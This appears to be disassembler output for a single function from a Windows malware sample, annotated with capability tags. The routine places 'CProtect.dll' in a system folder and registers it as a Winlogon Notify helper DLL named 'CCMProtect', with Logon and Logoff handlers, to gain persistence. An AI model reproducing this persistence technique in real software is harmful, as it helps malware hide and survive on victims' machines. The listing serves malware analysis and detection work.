Function at 0x402880
Capabilities:
Get common file path
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov eax, dword [ecx + 0xc0]
sub esp, 0x35c
cmp eax, 4
jne 0x40289d
mov eax, 1
add esp, 0x35c
ret
mov eax, dword [0x4218b4]
push ebp
push esi
push edi
mov dword [esp + 0x18], eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x5c]
rep stosd dword es:[edi], eax
push eax
lea ecx, [esp + 0x60]
push 0x25
push ecx
push eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or ecx, 0xffffffff
mov edi, 0x421208
xor eax, eax
lea edx, [esp + 0x5c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x5c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.CProtect.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x264]
and ecx, 3
mov ebp, 1
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x5c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], ebp
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x14], ebp
rep movsb byte es:[edi], byte [esi]
mov edi, str.Logon
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x3c]
rep movsb byte es:[edi], byte [esi]
mov edi, str.Logoff
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.CCMProtect
mov eax, ecx
mov esi, edi
mov edi, edx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotify_s
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
lea edi, [esp + 0x168]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x168]
push ecx
call fcn.00409fbe
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea edx, [esp + 0xc]
lea eax, [esp + 0x160]
push edx
push 0xf003f
push 0
push eax
push connect
call esi
test eax, eax
je 0x402a2a
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotify
push connect
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push edx
push str.CCMProtect
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push 0
push str.Impersonate
push edx
call esi
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push str.Asynchronous
push ecx
call esi
lea edi, [esp + 0x264]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x264]
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push ebp
push eax
mov eax, dword [esp + 0x1c]
push str.DllName
push eax
call esi
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x20]
push ecx
push ebp
push eax
push str.Logon
push edx
call esi
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push ebp
push 0
push str.Logoff
push ecx
call esi
lea ecx, [esp + 0x18]
call fcn.004176ed
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x35c
ret